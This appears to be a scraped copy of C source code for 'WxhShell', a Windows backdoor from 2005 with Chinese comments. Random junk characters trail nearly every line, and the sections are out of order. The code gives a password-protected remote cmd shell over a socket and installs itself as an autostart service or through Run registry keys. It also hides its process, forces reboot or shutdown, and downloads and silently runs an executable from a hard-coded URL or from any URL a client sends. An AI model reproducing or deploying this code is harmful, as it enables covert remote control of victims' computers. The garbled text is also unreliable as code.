  // 关机 i/$SN-5}1  
  case 'd': { ,YB1 y)x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |^Kjz{  
    if(Boot(SHUTDOWN)) 7I >J$"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @i1q]0  
    else { gtYRV*^q  
    closesocket(wsh); "8/dD]=f^a  
    ExitThread(0); U^?= 0+  
    } jQ$BPEG&X  
    break; 8x{Hg9  
    } BIfi:7I;Q  
  // 获取shell CDCC1BG"  
  case 's': { G Y-M.|%  
    CmdShell(wsh); RxG^  
    closesocket(wsh); z<<Tk.65  
    ExitThread(0); %VJW@S>j/  
    break; sfI N)jh  
  } . \F7tc8?  
  // 退出 '9q6aM/&  
  case 'x': { [cpNiw4e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L|\Diap  
    CloseIt(wsh); +)gB9DoK  
    break; [{cC  
    } HJ@5B"  
  // 离开 &J(!8y*QyE  
  case 'q': { F1c&0*_A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =x H~ww (D  
    closesocket(wsh); 2C1+_IL   
    WSACleanup(); %),!2_ x~  
    exit(1); ,Rz }=j  
    break; o;QZe&  
        } D^$OCj\  
  } -9-fX(I  
  } 'C~9]Y].  
j)L1H* S%  
  // 提示信息 X4Xf2aXI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j-32S!  
} 6?o>{e7n^  
  } 6mHhC?  
asz?p\k:bC  
  return; }\Z5{OA  
} aYVDp{_  
ikHOqJ-,m  
// shell模块句柄 p(?3 V  
int CmdShell(SOCKET sock) ps+:</;Z  
{ )4uq iA6  
STARTUPINFO si; JIV8q HC  
ZeroMemory(&si,sizeof(si)); XKSX#cia  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q%S8\bt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !<r8~A3!(  
PROCESS_INFORMATION ProcessInfo; K)5;2lN,  
char cmdline[]="cmd"; fl)zQcA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d?7BxYaa  
  return 0; V(..8}LlD  
} E}$V2ha0zu  
x6e+7"#~  
// 自身启动模式 %U?)?iZdL  
int StartFromService(void) 7\%$>< K  
{ |-61(X.  
typedef struct %nQmFIt  
{ O<X )p`,`  
  DWORD ExitStatus; 38wq (  
  DWORD PebBaseAddress; sX'nn   
  DWORD AffinityMask; *#h;c1aP  
  DWORD BasePriority; ]^ 'ZiyJX  
  ULONG UniqueProcessId; Q52 bh'cuU  
  ULONG InheritedFromUniqueProcessId; kzi|$Gs<  
}   PROCESS_BASIC_INFORMATION; zlkWU  
@L8;VSI  
PROCNTQSIP NtQueryInformationProcess; Z4@y?f v7s  
"L@g3g?|`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =4>@8=JA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OX3Xy7  
%?dE{ir  
  HANDLE             hProcess; e5OVq ,  
  PROCESS_BASIC_INFORMATION pbi; *"T+G*~  
{US>)I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0jTMZ<&zZ  
  if(NULL == hInst ) return 0; oHsP?%U  
`M]BhW)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PL@7 KD Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UABbcNW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #(dhBEXPW;  
Tf[dZ(+\  
  if (!NtQueryInformationProcess) return 0; f{_)rsqf  
WZK :.y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }`]]b+_b>@  
  if(!hProcess) return 0; #Fzb8Yo  
1eiw3WU;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "tX7%(  
h2;l1 G,  
  CloseHandle(hProcess); QgZJ`G--  
vJThU$s-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?*+1~m>  
if(hProcess==NULL) return 0; 7@a\*|K6  
Wr#~GFg  
HMODULE hMod; ?(Bl~?zD  
char procName[255]; eJaUmK:  
unsigned long cbNeeded; 9b%j.Q-W  
r?$ &Z^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?Cc :)  
3):?ZCw7y  
  CloseHandle(hProcess); {*fUJmao"  
5M.Red.L  
if(strstr(procName,"services")) return 1; // 以服务启动 DaDUK?  
O! (85rp/  
  return 0; // 注册表启动 JZw^ W{  
} DaCblX  
nX 8B;*p6b  
// 主模块 g]4y AV<2  
int StartWxhshell(LPSTR lpCmdLine) M:(&n@e  
{ )f[C[Rd  
  SOCKET wsl; +C5#$5];  
BOOL val=TRUE; XHNkQe  
  int port=0; ==`Pb  
  struct sockaddr_in door; Wl TpX`  
WG\Q5k4Ba  
  if(wscfg.ws_autoins) Install(); OPLl*bnf  
f}blB?e  
port=atoi(lpCmdLine); wt\m+!u`  
C[0MA ,^  
if(port<=0) port=wscfg.ws_port; ogp{rY  
%2YN,a4  
  WSADATA data; E4Zxv*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?sE@]]z  
Iht'e8)gq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SctJxY(}!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0<3E  
  door.sin_family = AF_INET; yWmrdvL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  h,~tXj  
  door.sin_port = htons(port); ^vG=|X|)c  
X&.:H~xS+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Nuo^+z E   
closesocket(wsl); WV@X@]U  
return 1; Qxky^:B  
} _hWuAJ9Qy  
yIWc\wv  
  if(listen(wsl,2) == INVALID_SOCKET) { 7|{ B#  
closesocket(wsl); "R8.P/ 3  
return 1;  }Zt.*%  
} R)Q/Ff@o0  
  Wxhshell(wsl); wePI*."]  
  WSACleanup(); fw:7U %MGv  
9p4%8WhJ  
return 0; },v&rkwR  
]d^ k4 d  
} V&g)m.d:n  
TqXg e{r  
// 以NT服务方式启动 D/cg7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *h:D|4oJ(  
{ ^glX1 )  
DWORD   status = 0; OgQntj:%lN  
  DWORD   specificError = 0xfffffff; 9lKRL'QR  
;*nh=w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "% SX@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  w"BIv9N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t@6w$5:}  
  serviceStatus.dwWin32ExitCode     = 0; *.:!Ax  
  serviceStatus.dwServiceSpecificExitCode = 0; PP],HB+*[  
  serviceStatus.dwCheckPoint       = 0; "~_$T@^k>  
  serviceStatus.dwWaitHint       = 0; pL8H8kn  
~Po\ En  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); " cNg :  
  if (hServiceStatusHandle==0) return; )=y.^@UT@  
$,.3&zsy  
status = GetLastError(); $.``OxJk%  
  if (status!=NO_ERROR) zUJx&5/  
{ lQh~Q<[ge  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 40R"^*  
    serviceStatus.dwCheckPoint       = 0; VZHr-z$6n  
    serviceStatus.dwWaitHint       = 0; 28ja-1dB  
    serviceStatus.dwWin32ExitCode     = status; gU~ L@R_D  
    serviceStatus.dwServiceSpecificExitCode = specificError; n%n'1AUP:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "oHp.$+K  
    return; xm^N8  
  } k]t,q$Vd  
|y klT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'y< t/qo  
  serviceStatus.dwCheckPoint       = 0; bB y'v/  
  serviceStatus.dwWaitHint       = 0; Ywmyr[Uh'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JaA&eT|  
}  ccRlql(  
x!OWJ/O  
// 处理NT服务事件,比如:启动、停止 -!@H["  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cD5w| rm?i  
{ hK Fk$A  
switch(fdwControl) KuIkul9^%  
{ 93 [rL+l.Y  
case SERVICE_CONTROL_STOP: h>~jQ&\M  
  serviceStatus.dwWin32ExitCode = 0; Fs?( UM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nT_*EC<.  
  serviceStatus.dwCheckPoint   = 0; F ~*zC`>Y  
  serviceStatus.dwWaitHint     = 0; p@vpd  
  { " 98/HzR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u$apH{  
  } %B[YtWqm`/  
  return; :wFb5"  
case SERVICE_CONTROL_PAUSE: fdN45in=>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "&@gX_%  
  break; j[_t6Z  
case SERVICE_CONTROL_CONTINUE: )uANmThOz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _MGNKA6JI  
  break; ;9}w|!/  
case SERVICE_CONTROL_INTERROGATE:  o1 jk=  
  break; 3xRM 1GgO  
}; n/xXQ7y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |!{ z? i  
} KrJ5"1=  
#c6ui0E%;t  
// 标准应用程序主函数 lq~Gc M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B.V?s,U  
{ t-'I`I  
,NjX&A@  
// 获取操作系统版本 ${wU+E*  
OsIsNt=GetOsVer(); Y,3z-Pa=@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u9esdOv  
`Q:de~+AM{  
  // 从命令行安装 ~ &t!$  
  if(strpbrk(lpCmdLine,"iI")) Install(); {k kAqJ  
lt }r}HM+  
  // 下载执行文件 -b@v0%Q2M*  
if(wscfg.ws_downexe) { E7V38Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J>><o:~@  
  WinExec(wscfg.ws_filenam,SW_HIDE); k}- "0>  
} mfj4`3:NV  
\El|U#$u'  
if(!OsIsNt) { /7c2OI=\  
// 如果时win9x,隐藏进程并且设置为注册表启动 <sm#D"GpP  
HideProc(); $5ZR [\$  
StartWxhshell(lpCmdLine); eL<m.06cfY  
} <l* agH-.3  
else rdXCWK$E  
  if(StartFromService()) s;vWR^Ll  
  // 以服务方式启动 98X!uh'  
  StartServiceCtrlDispatcher(DispatchTable); ?lu_}t]  
else ,lrYl!,  
  // 普通方式启动 Tm (Q@  
  StartWxhshell(lpCmdLine); X(4s;i  
<]Ij(+J;  
return 0; FgXu1-  
} 29&sydu  
^wvH,>Yo  
qXXYF>Z-  
CkmlqqUHC  
=========================================== xR\D(FLV S  
Hlz'a1\:O]  
pw0Px  
|Dl*w/n  
sjkWz2]S  
C4&U:y<ju  
" b7?U8/#'  
MDMtOfe|  
#include <stdio.h> i}.{m Et  
#include <string.h> Ah6wU|_-g  
#include <windows.h> s/r5,IFR  
#include <winsock2.h> ;b, -$A  
#include <winsvc.h> 'CP/ymf/a  
#include <urlmon.h> mle_*Gy8  
r^?)F?n!  
#pragma comment (lib, "Ws2_32.lib") vF5wA-3&t  
#pragma comment (lib, "urlmon.lib") ;k9 ?  
3r,1^h  
#define MAX_USER   100 // 最大客户端连接数 G3Idxs  
#define BUF_SOCK   200 // sock buffer 6a "VCE]  
#define KEY_BUFF   255 // 输入 buffer z7O Z4R:  
0!9?H1>  
#define REBOOT     0   // 重启 W,QnU d'N  
#define SHUTDOWN   1   // 关机 -9=M9}eDF  
AZh@t?)  
#define DEF_PORT   5000 // 监听端口 utYnaeQcn  
P5'iYahCq_  
#define REG_LEN     16   // 注册表键长度 <_##YSGh,  
#define SVC_LEN     80   // NT服务名长度 }"F ?H:\  
4yA9Ni  
// 从dll定义API ?b!CV   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tebWj>+1c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -@EBbM&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zvek2\*rO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q'n(^tbL  
4+ASw N9  
// wxhshell配置信息 4e=/f,o1  
struct WSCFG { ,Y+r<;  
  int ws_port;         // 监听端口 vjexx_fq  
  char ws_passstr[REG_LEN]; // 口令 dzjBUD  
  int ws_autoins;       // 安装标记, 1=yes 0=no :BewH?Ku  
  char ws_regname[REG_LEN]; // 注册表键名 AzLbD2Pl  
  char ws_svcname[REG_LEN]; // 服务名 N?MJ#lC F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tIn7(C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [;>zqNy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -/ (DP x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !Iw{Y'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :z izca4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =]_d pEEQ  
mQwk!* U  
}; t9Enk!@  
*r)zBr  
// default Wxhshell configuration 21[K[ %  
struct WSCFG wscfg={DEF_PORT, tnQR<  
    "xuhuanlingzhe", uM6CG0  
    1, |i,zY{GI+2  
    "Wxhshell", OqfhCNAY  
    "Wxhshell", Bo\a  
            "WxhShell Service", WUE)SVf  
    "Wrsky Windows CmdShell Service", ^kCk^D-Gz  
    "Please Input Your Password: ", -XS+Uv  
  1, KKx&UKjV  
  "http://www.wrsky.com/wxhshell.exe", SR&(HH$  
  "Wxhshell.exe" #~bU}[{  
    }; Zu2m%=J`  
9IS1.3  
// 消息定义模块 l _kg3e4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "_ PH"W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4_6W s$x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RZ#alFL,  
char *msg_ws_ext="\n\rExit."; JfZL?D{NM  
char *msg_ws_end="\n\rQuit."; C?GvTc  
char *msg_ws_boot="\n\rReboot..."; Zd[y+$>  
char *msg_ws_poff="\n\rShutdown..."; 2.fyP"P L  
char *msg_ws_down="\n\rSave to "; T[Z <bW~0  
2]of SdM  
char *msg_ws_err="\n\rErr!"; ,XWay%8{E  
char *msg_ws_ok="\n\rOK!"; HMEs8.  
?G~/{m.  
char ExeFile[MAX_PATH]; WrE-Zti  
int nUser = 0; o 1 hdO  
HANDLE handles[MAX_USER]; {#dp-5V  
int OsIsNt; 8k+q7  
vh1 Ma<cx  
SERVICE_STATUS       serviceStatus; p^pQZ6-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Pi&fwGL  
B|]t\(~$ [  
// 函数声明 ,(@Y%UW:  
int Install(void); Dg9--wI}I9  
int Uninstall(void); ;ZxK3/(7  
int DownloadFile(char *sURL, SOCKET wsh); rQd1Ch  
int Boot(int flag); boC>N   
void HideProc(void); h3UZ|B0=  
int GetOsVer(void); Gx(KN57D  
int Wxhshell(SOCKET wsl); wf~5lpI[  
void TalkWithClient(void *cs); :,h=2a_ 8  
int CmdShell(SOCKET sock); {<- ouD  
int StartFromService(void); Ak\D6eHcB  
int StartWxhshell(LPSTR lpCmdLine); < '>d0:>N  
+BtLyQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *@bg/S K%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sx)$=~o  
KRnB[$3F1  
// 数据结构和表定义  m+72C]9  
SERVICE_TABLE_ENTRY DispatchTable[] = z) ]BV=  
{ /ctaAQDUh\  
{wscfg.ws_svcname, NTServiceMain}, |?;"B:0  
{NULL, NULL} ohQz%?r  
}; YO.`l~ v  
K%[}[.cW  
// 自我安装 1}n)J6m  
int Install(void) %T&&x2p^=?  
{ uJ|5 Ve  
  char svExeFile[MAX_PATH]; IEIxjek  
  HKEY key; a>)_ `m  
  strcpy(svExeFile,ExeFile); OUBgBr   
xoz*UA.  
// 如果是win9x系统,修改注册表设为自启动 8^P2GG'+-  
if(!OsIsNt) { O)$N}V0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WQIM2_=M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J]=aI>Ow  
  RegCloseKey(key); 3%vx' 1h[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?vht~5'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @mQ/W Ys  
  RegCloseKey(key);  2#$}yP~  
  return 0; QN2*]+/h  
    } LhVLsa(-%  
  } DiGUxnP  
} dFI.`pB  
else { m &3HFf  
.swgXiRvs  
// 如果是NT以上系统,安装为系统服务 J#Ne:Aj_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~u?x{[  
if (schSCManager!=0) :r vO8.\  
{ ) <}VP&:X  
  SC_HANDLE schService = CreateService hIzPy3  
  ( %~B)~|h  
  schSCManager, \0*yxSg,^  
  wscfg.ws_svcname, >PTu*6Z  
  wscfg.ws_svcdisp,  eo<~1w  
  SERVICE_ALL_ACCESS, 3-9J "d !  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @ @3)D%h  
  SERVICE_AUTO_START, D:6x*+jah)  
  SERVICE_ERROR_NORMAL, r0Y?X\l*  
  svExeFile, {R1Cxt}  
  NULL, v:J.d5  
  NULL, eBYaq!t k  
  NULL, ^)C$8:@  
  NULL, 9sO{1rF  
  NULL pxCGE[@`  
  ); {*ko=77$*  
  if (schService!=0) V%{ 9o  
  { *xZQG9`kt  
  CloseServiceHandle(schService); &t.>^7ELF  
  CloseServiceHandle(schSCManager); 8&2gM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); of[|b{Ze4~  
  strcat(svExeFile,wscfg.ws_svcname); yNWbI0a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W"}*Q -8W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <4!&iU+;  
  RegCloseKey(key); R^u^y{ohr  
  return 0; sxC{\iLY%  
    } S{"6PXzb  
  } @|\s$L  
  CloseServiceHandle(schSCManager); gE6y&a  
} `aX}.{.!  
} UQji7K }  
zOu$H[  
return 1; i*cE  
} AVevYbucB  
2fL88/'  
// 自我卸载 I8-&.RE  
int Uninstall(void) QLpTz"H  
{ d=+Lv<  
  HKEY key; /bNVgK`L5  
L/ICFa.G  
if(!OsIsNt) { {L2Gb(YLW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vS*0CR\  
  RegDeleteValue(key,wscfg.ws_regname); @R-~zOv  
  RegCloseKey(key); )H37a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q2j}64o _S  
  RegDeleteValue(key,wscfg.ws_regname); B'BbTI,  
  RegCloseKey(key); }&C!^v o  
  return 0; HU'`kimWb  
  } [%)B%h`XGf  
} KbuGf$Bv  
} gx>mKSzy  
else { 7q{v9xKy  
@SQ*/sw (c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Fp|rMq  
if (schSCManager!=0) <GFB'`L  
{ KAZkVL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7i|hlk;  
  if (schService!=0) o}^vREO  
  { I3E8vi%B.  
  if(DeleteService(schService)!=0) { iDkWW  
  CloseServiceHandle(schService); `bi_)i6Low  
  CloseServiceHandle(schSCManager); fPk9(X;G!p  
  return 0; \tw#p k  
  } ``YL] <<  
  CloseServiceHandle(schService); Y ,pS/  
  } Mb/6>  
  CloseServiceHandle(schSCManager); PJ11LE  
} 2DBFXhP  
} [q+ 39  
!#|fuOWe  
return 1; X)R] a]1A  
} 4[EO[x4C  
:;#}9g9  
// 从指定url下载文件 w-Q 6 -  
int DownloadFile(char *sURL, SOCKET wsh) FLnAN;  
{ wM&x8 <  
  HRESULT hr; #]\G*>{  
char seps[]= "/"; yI|?iBc7nC  
char *token; vhe Ah`u^&  
char *file; OFAqP1o{$  
char myURL[MAX_PATH]; {j=hQL3  
char myFILE[MAX_PATH]; <!HD tN  
+&zuI  
strcpy(myURL,sURL); 7Caap/L:  
  token=strtok(myURL,seps); o  >4>7  
  while(token!=NULL) U+A(.+d.  
  { Ky~~Cd$  
    file=token; eEZlVHM;O  
  token=strtok(NULL,seps); @/2wmza%2  
  } E#V-F-@2  
FCB/FtI0  
GetCurrentDirectory(MAX_PATH,myFILE); ghO//?m  
strcat(myFILE, "\\"); z^HlDwsbm  
strcat(myFILE, file); 8RT0&[  
  send(wsh,myFILE,strlen(myFILE),0); 0}C}\1  
send(wsh,"...",3,0); ps;o[gB@5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Eq.zCD8A  
  if(hr==S_OK) wm`"yNbD  
return 0; %>:)4A  
else :<7>-+pa  
return 1; V^5k> `A  
OuIW|gIu0  
} cz~11j#  
Ecl7=-y  
// 系统电源模块 " 7g8 d  
int Boot(int flag) V'hz1roe  
{ !<^j!'2  
  HANDLE hToken; @ DKl<F  
  TOKEN_PRIVILEGES tkp; pO+wJ|f  
jJQfCOD$  
  if(OsIsNt) { p~;z"Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "uER a(i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w]YyU5rhS  
    tkp.PrivilegeCount = 1; "&o@%){]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tu#k+f*s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9@>hm>g.  
if(flag==REBOOT) { LK}eU,m=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mb6?$1j  
  return 0; [goPmVe+  
} #"YWz)8  
else { -ddatc|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x=|@AFI  
  return 0; {j4:. fD  
} w)SxwlW}  
  } _Ws k3AP  
  else { tJfN6  
if(flag==REBOOT) { bD[W~ku  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \ bmboNe  
  return 0; X?xm1|\  
} c@{^3V##T  
else { NW Qu-]P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UHszOl  
  return 0; _IGa8=~  
} TK?N^ly  
} 6C}Z1lZl  
d#,V^  
return 1; nE.s  
} bGnJ4R3J  
g {wPw  
// win9x进程隐藏模块 j`M<M[C*4N  
void HideProc(void) BnY|t2r  
{ (&x\,19U$  
c`=h K*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3/<^R}w\  
  if ( hKernel != NULL ) J-?(sjIX  
  { j'b4Sb s-f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -+Ji~;b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5. UgJ/  
    FreeLibrary(hKernel); J, U~ .c  
  } j-E>*N}-_  
D"aQbQP  
return; >(J!8*7  
} WoR**J?}w  
5 : >  
// 获取操作系统版本 v333z<<S  
int GetOsVer(void) 4B>|Wft{p]  
{ _ L6>4  
  OSVERSIONINFO winfo; DuZ]g#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I=I%e3GEm  
  GetVersionEx(&winfo); :dc J6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u3!!_~6,z  
  return 1; G?(:Z=  
  else m5g: Q  
  return 0; c=E.-  
} e+aQ$1^t  
FJ. :*K[  
// 客户端句柄模块 jH/%Z5iu  
int Wxhshell(SOCKET wsl) LM`#S/h  
{ k(^b  
  SOCKET wsh; f}d@G/L  
  struct sockaddr_in client; +6E<+-N  
  DWORD myID; \dbtd hT;Z  
g-uFss  
  while(nUser<MAX_USER) ee\zU~  
{ \wd`6  
  int nSize=sizeof(client); f 8U;T$)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DzOJ{dF  
  if(wsh==INVALID_SOCKET) return 1; 2Vr'AEIQ  
8\_,Y ji  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m>:ig\  
if(handles[nUser]==0) 5lY9  
  closesocket(wsh); YZD]<ptR  
else 9LRY  
  nUser++; aa!c>"g6  
  } N.rB-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Jc6 D^=  
Etk<`GRfA  
  return 0; pswppC6f  
} '1*MiFxKq  
?!vW&KJZx  
// 关闭 socket .=D6<4#t  
void CloseIt(SOCKET wsh) :v48y.Ij7s  
{ ;W:Q}[  
closesocket(wsh); !%=k/|#  
nUser--; RmCR"~   
ExitThread(0); *()#*0  
} Fv B2y8&W  
IRY2H#:$  
// 客户端请求句柄 \NRRN eu|  
void TalkWithClient(void *cs) % M:"Ai5:  
{ v]sGdZ(6-  
3M`J.>  
  SOCKET wsh=(SOCKET)cs; ea/6$f9^  
  char pwd[SVC_LEN]; N~YeAe~+  
  char cmd[KEY_BUFF]; **[p{R]8o  
char chr[1]; b*7i&q'H  
int i,j; z""(M4  
!b_IH0]U  
  while (nUser < MAX_USER) { _l<"Qqt  
PV Q%y  
if(wscfg.ws_passstr) { X?a67qL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YN3uhd[2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v4zARE9#  
  //ZeroMemory(pwd,KEY_BUFF); wVB8PO8  
      i=0; iBt5aUt  
  while(i<SVC_LEN) { Z m>69gl  
1owoh,V6  
  // 设置超时 6ZJQ '9f  
  fd_set FdRead; &bNj/n/  
  struct timeval TimeOut; #/6X44 *u  
  FD_ZERO(&FdRead); <Do89  
  FD_SET(wsh,&FdRead); >~ :]+q  
  TimeOut.tv_sec=8; 6w#v,RDEu  
  TimeOut.tv_usec=0; e V#H"fM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c{0?gt.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !LA#c'  
IuL ]V TY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u^$ CR  
  pwd=chr[0]; %8/$CR  
  if(chr[0]==0xd || chr[0]==0xa) { x(Z@ R\C-a  
  pwd=0; =>U~ligu  
  break; 8h=XQf6k0  
  } }I0^nv1  
  i++; 6W o7q\"  
    } ubw ]}sfM#  
MmB-SR[>P  
  // 如果是非法用户,关闭 socket BN67o]*]<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =v}.sJ V?  
} Lj#6K@u@Z  
O_q_O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uB?YJf .T@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TnrMR1Zx  
JP]K\nQx'  
while(1) { H+Wd#7l,  
.0 K8h:I  
  ZeroMemory(cmd,KEY_BUFF); 0 N(2[s_A  
-$r fu  
      // 自动支持客户端 telnet标准   {_JLmyaerZ  
  j=0; &+sN= J.x  
  while(j<KEY_BUFF) { =G`m7!Q)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qi$8GX=~r  
  cmd[j]=chr[0]; r_",E=e  
  if(chr[0]==0xa || chr[0]==0xd) { ~*qGH  
  cmd[j]=0; E*$:~w  
  break; spf}{o  
  } ,o`qB81  
  j++; RL%{VE  
    } OkM>  
-llujB%;,e  
  // 下载文件 ~Hq 2'  
  if(strstr(cmd,"http://")) { l#Tm`br  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z'~5L_.]Ai  
  if(DownloadFile(cmd,wsh)) &*}S 0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pfG:P rZ  
  else d$ /o\G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0WFZx Ad"  
  } wsARH>Vz  
  else { ]PFc8qv{  
qy !G&  
